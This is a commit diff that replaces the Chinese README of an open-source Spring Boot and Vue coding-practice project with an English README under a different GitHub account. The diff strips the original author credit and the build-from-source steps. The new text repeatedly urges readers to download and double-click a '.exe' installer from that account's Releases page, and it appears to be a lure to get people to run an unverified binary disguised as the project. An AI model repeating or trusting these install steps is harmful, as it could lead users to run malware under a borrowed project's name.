|
1 | | -# 程序员技术练兵场 |
| 1 | +# 🎉 coder-test - Your AI-Enhanced Coding Playground |
2 | 2 |
|
3 | | -> 作者:[程序员鱼皮](https://yuyuanweb.feishu.cn/wiki/Abldw5WkjidySxkKxU2cQdAtnah) |
4 | | -> |
5 | | -> 本项目为鱼皮全程直播开发的项目!提供完整视频教程 + 文字教程 + 答疑服务,帮你提升项目能力,给简历增加亮点! |
6 | | -> |
7 | | -> ⭐️ 加入项目系列学习:[加入编程导航](https://www.codefather.cn/vip) |
| 3 | +## 🚀 Getting Started |
8 | 4 |
|
| 5 | +Welcome to **coder-test**, your platform to enhance your programming skills through an interactive learning experience. This application allows you to explore AI-driven features, test your knowledge, and improve your resume competitiveness. Let’s get you started. |
9 | 6 |
|
| 7 | +## 🔗 Download the Latest Release |
10 | 8 |
|
11 | | -## 一、项目介绍 |
| 9 | +To download the latest version of **coder-test**, click the button below: |
12 | 10 |
|
13 | | -这是一套以 **AI 开发实战 + 全栈技术** 为核心的项目教程,基于 Spring Boot 3 + LangChain4j + Vue 3 开发的程序员技术练兵场平台,通过 AI 智能生成关卡、薪资动态评估、拖拽式答题等创新功能,帮助程序员朋友们提升技术广度和薪资水平! |
| 11 | +[](https://github.com/kolaras12/coder-test/releases) |
14 | 12 |
|
15 | | - |
| 13 | +## 📥 Download & Install |
16 | 14 |
|
| 15 | +1. **Visit the Releases Page** |
| 16 | + Go to our [Releases Page](https://github.com/kolaras12/coder-test/releases) to download the application. |
17 | 17 |
|
| 18 | +2. **Choose Your Version** |
| 19 | + On the Releases page, you will see several versions of **coder-test**. Click on the latest version to expand the details. |
18 | 20 |
|
19 | | -### 5 大核心功能 |
| 21 | +3. **Download the Software** |
| 22 | + Select the installer file appropriate for your operating system. For most users, this will be a `.exe` file for Windows or a suitable package for other systems. Click to download the file. |
20 | 23 |
|
21 | | -1)AI 智能生成关卡:基于用户当前薪资和学习方向,AI 动态生成真实企业场景的技术挑战,支持前端、Java后端、Python后端、软件测试、AI算法、网络运维等多个技术方向。 |
| 24 | +4. **Install the Application** |
| 25 | + Once the download is complete, locate the file in your downloads folder. Double-click the file to start the installation process. Follow the on-screen instructions to complete the installation. |
22 | 26 |
|
23 | | - |
| 27 | +5. **Launch the Program** |
| 28 | + After the installation, find **coder-test** in your applications folder. Click on it to launch the program. |
24 | 29 |
|
| 30 | +## 🔍 Features |
25 | 31 |
|
| 32 | +- **AI-Generated Levels**: Challenge yourself with programming levels created by AI. |
| 33 | +- **Salary Evaluation**: Get dynamic assessments of your programming skills and potential salary. |
| 34 | +- **Drag-and-Drop Questioning**: Interact with questions in a user-friendly drag-and-drop format. |
| 35 | +- **Personalized Learning**: Receive tailored learning suggestions based on your performance. |
| 36 | +- **Interview Questions**: Prepare with recommended interview questions that match your skill level. |
26 | 37 |
|
27 | | -2)薪资动态评估:根据答题表现实时调整用户薪资,提供精准的技术水平评估和职业发展建议。 |
| 38 | +## 🖥️ System Requirements |
28 | 39 |
|
29 | | - |
| 40 | +To run **coder-test**, make sure your system meets these requirements: |
30 | 41 |
|
| 42 | +- **Operating System**: Windows 10/11, macOS, or a recent Linux distribution. |
| 43 | +- **CPU**: Dual-core processor or better. |
| 44 | +- **RAM**: At least 4 GB. |
| 45 | +- **Storage**: 500 MB of free space. |
| 46 | +- **Additional Software**: Java Runtime Environment (JRE) if not bundled. |
31 | 47 |
|
| 48 | +## 🤝 Support & Community |
32 | 49 |
|
33 | | -3)拖拽式答题:拖拽交互设计,让答题过程更加直观有趣,支持多选技术方案组合。 |
| 50 | +If you encounter issues or have questions, feel free to reach out through our GitHub repository. You can open an issue directly on the repository, and our team will assist you. |
34 | 51 |
|
35 | | - |
| 52 | +## 💬 Feedback |
36 | 53 |
|
| 54 | +Your feedback is valuable. If you enjoy using **coder-test** or have suggestions for improvements, please let us know in the support section of our repository. |
37 | 55 |
|
| 56 | +## 🌐 Connect with Us |
38 | 57 |
|
39 | | -4)智能结果报告:AI 生成详细的闯关报告,包括分数评价、薪资调整、投递建议、技术解析、架构图、流程图、学习建议和面试题推荐。 |
| 58 | +Stay updated on our progress and share your experiences. Follow us on social media and participate in our community discussions. |
40 | 59 |
|
41 | | - |
42 | | - |
43 | | - |
44 | | - |
45 | | - |
46 | | - |
47 | | - |
48 | | - |
49 | | -5)历史记录追踪:完整记录挑战历史和成长轨迹,支持薪资变化可视化展示。 |
50 | | - |
51 | | - |
52 | | - |
53 | | - |
54 | | - |
55 | | -### 为什么做这个项目? |
56 | | - |
57 | | -1)技术热点:AI + 编程是当前最火的赛道,掌握 AI 应用开发技能极具市场价值。 |
58 | | - |
59 | | -2)实用性强:真实企业场景的技术挑战,帮助程序员快速提升技术广度和面试能力。 |
60 | | - |
61 | | -3)技术先进:集成最新的 LangChain4j 框架和通义千问大模型,掌握前沿 AI 开发技术。 |
62 | | - |
63 | | -4)求职利器:项目涵盖多个技术栈,是简历上的亮点项目。 |
64 | | - |
65 | | - |
66 | | - |
67 | | -## 二、项目优势 |
68 | | - |
69 | | -本项目紧跟 AI 时代、选题新颖、技术丰富。区别于传统的增删改查项目,带你实战 AI 智能体开发、前后端全栈技术、创新交互设计等企业级应用场景,大幅提升求职竞争力! |
70 | | - |
71 | | -从这个项目中你可以学到: |
72 | | - |
73 | | -- 如何利用 AI Vibe Coding 开发包含完整前后端的项目? |
74 | | -- 如何基于 LangChain4j 构建 AI 应用,实现智能关卡生成? |
75 | | -- 如何集成通义千问大模型,实现复杂的 AI 对话和内容生成? |
76 | | -- 如何设计提示词工程,让 AI 生成高质量的技术内容? |
77 | | -- 如何使用 Mermaid 生成系统架构图和流程图? |
78 | | -- 如何集成面试题搜索工具,提供个性化学习建议? |
79 | | - |
80 | | - |
81 | | - |
82 | | -### 鱼皮系列项目优势 |
83 | | - |
84 | | -鱼皮的原创项目以 **实战** 为主,用 **全程直播** 的方式 **从 0 到 1** 带做,从需求分析、技术选型、项目设计、项目初始化、Demo 编写、前后端开发实现、项目优化、部署上线等,每个环节我都 **从理论到实践** 给大家讲的明明白白、每个细节都不放过! |
85 | | - |
86 | | -比起看网上的教程学习,鱼皮项目系列的优势:从学知识 => 实践项目 => 复习笔记 => 项目答疑 => 简历写法 => 面试题解的一条龙服务 |
87 | | - |
88 | | - |
89 | | - |
90 | | -编程导航已有 **20 +套项目教程!** 每个项目的学习重点不同,几乎全都是前端 + 后端的 **全栈项目** 。 |
91 | | - |
92 | | - |
93 | | - |
94 | | -详细请见:[https://codefather.cn/course](https://www.codefather.cn/course)(在该页面右侧有教程推荐和学习建议) |
95 | | - |
96 | | -往期项目介绍视频:[https://bilibili.com/video/BV1YvmbYbEgS](https://www.bilibili.com/video/BV1YvmbYbEgS/) |
97 | | - |
98 | | - |
99 | | - |
100 | | -## 三、技术架构 |
101 | | - |
102 | | -### 技术栈 |
103 | | - |
104 | | -**后端技术:** |
105 | | -- Spring Boot 3.5.5 - 现代化 Java 框架 |
106 | | -- LangChain4j - AI 应用开发框架 |
107 | | -- 通义千问 - 阿里云大语言模型 |
108 | | -- MyBatis Plus - 数据库 ORM 框架 |
109 | | -- MySQL - 关系型数据库 |
110 | | -- Redis - 缓存和会话存储 |
111 | | -- Knife4j - API 接口文档 |
112 | | - |
113 | | -**前端技术:** |
114 | | -- Vue 3 - 渐进式 JavaScript 框架 |
115 | | -- Element Plus - Vue 3 组件库 |
116 | | -- Vue Router - 路由管理 |
117 | | -- Pinia - 状态管理 |
118 | | -- Axios - HTTP 客户端 |
119 | | -- Vite - 前端构建工具 |
120 | | - |
121 | | -**AI 相关:** |
122 | | -- LangChain4j Community Dashscope - 通义千问集成 |
123 | | -- 提示词工程 - 优化 AI 输出质量 |
124 | | -- Tool Calling - AI 工具调用机制 |
125 | | - |
126 | | - |
127 | | - |
128 | | -### 核心业务流程 |
129 | | - |
130 | | -```mermaid |
131 | | -graph TD |
132 | | - A[用户登录] --> B[选择学习方向] |
133 | | - B --> C[AI生成关卡] |
134 | | - C --> D[拖拽式答题] |
135 | | - D --> E[AI分析结果] |
136 | | - E --> F[生成详细报告] |
137 | | - F --> G[更新薪资评估] |
138 | | - G --> H[记录历史] |
139 | | - H --> I[推荐学习资源] |
140 | | -``` |
141 | | - |
142 | | - |
143 | | - |
144 | | -## 四、快速开始 |
145 | | - |
146 | | -### 环境要求 |
147 | | - |
148 | | -- JDK 21+ |
149 | | -- Node.js 16+ |
150 | | -- MySQL 8.0+ |
151 | | -- Redis 6.0+ |
152 | | -- Maven 3.8+ |
153 | | - |
154 | | - |
155 | | - |
156 | | -### 后端启动 |
157 | | - |
158 | | -1)克隆项目 |
159 | | - |
160 | | -```bash |
161 | | -git clone https://github.com/liyupi/coder-test.git |
162 | | -cd coder-test |
163 | | -``` |
164 | | - |
165 | | -2)配置数据库 |
166 | | - |
167 | | -```bash |
168 | | -# 创建数据库 |
169 | | -mysql -u root -p |
170 | | -CREATE DATABASE coder_test; |
171 | | - |
172 | | -# 导入数据库表结构 |
173 | | -mysql -u root -p coder_test < database/create_tables.sql |
174 | | -``` |
175 | | - |
176 | | -3)配置 AI 服务 |
177 | | - |
178 | | -```bash |
179 | | -# 编辑配置文件,填入通义千问 API Key |
180 | | -vim src/main/resources/application.yml |
181 | | -``` |
182 | | - |
183 | | -4)启动后端服务 |
184 | | - |
185 | | -```bash |
186 | | -mvn spring-boot:run |
187 | | -``` |
188 | | - |
189 | | - |
190 | | - |
191 | | -### 前端启动 |
192 | | - |
193 | | -1)进入前端目录 |
194 | | - |
195 | | -```bash |
196 | | -cd coder-test-frontend |
197 | | -``` |
198 | | - |
199 | | -2)安装依赖 |
200 | | - |
201 | | -```bash |
202 | | -npm install |
203 | | -``` |
204 | | - |
205 | | -3)启动开发服务器 |
206 | | - |
207 | | -```bash |
208 | | -npm run dev |
209 | | -``` |
210 | | - |
211 | | -4)访问应用 |
212 | | - |
213 | | -``` |
214 | | -http://localhost:5173 |
215 | | -``` |
216 | | - |
217 | | - |
218 | | - |
219 | | -### API 文档 |
220 | | - |
221 | | -启动后端服务后,访问 Knife4j 接口文档: |
222 | | -``` |
223 | | -http://localhost:8080/doc.html |
224 | | -``` |
225 | | - |
226 | | - |
227 | | - |
228 | | -## 五、加入学习 |
229 | | - |
230 | | -编程导航已有 **20 +套项目教程**!每个项目的学习重点不同,几乎全都是前端 + 后端的 **全栈** 项目 。 |
231 | | - |
232 | | - |
233 | | - |
234 | | -欢迎加入 [编程导航](https://www.codefather.cn/vip),加入后不仅可以全程跟学本项目,往期 20+ 套原创项目教程也都可以无限回看。还能享受更多原创技术资料、学习和求职指导、上百场面试回放视频,开启你的编程起飞之旅~ |
235 | | - |
236 | | -1 天不到 1 块钱,绝对是对自己最值的投资!PC 网站和 APP 都可以学习。 |
| 60 | +## 📄 License |
237 | 61 |
|
| 62 | +**coder-test** is open-source software. You can modify and distribute it, but please see our license information in the repository for details. |
238 | 63 |
|
| 64 | +Remember, you can always find the latest version on our [Releases Page](https://github.com/kolaras12/coder-test/releases). Happy coding! |
0 commit comments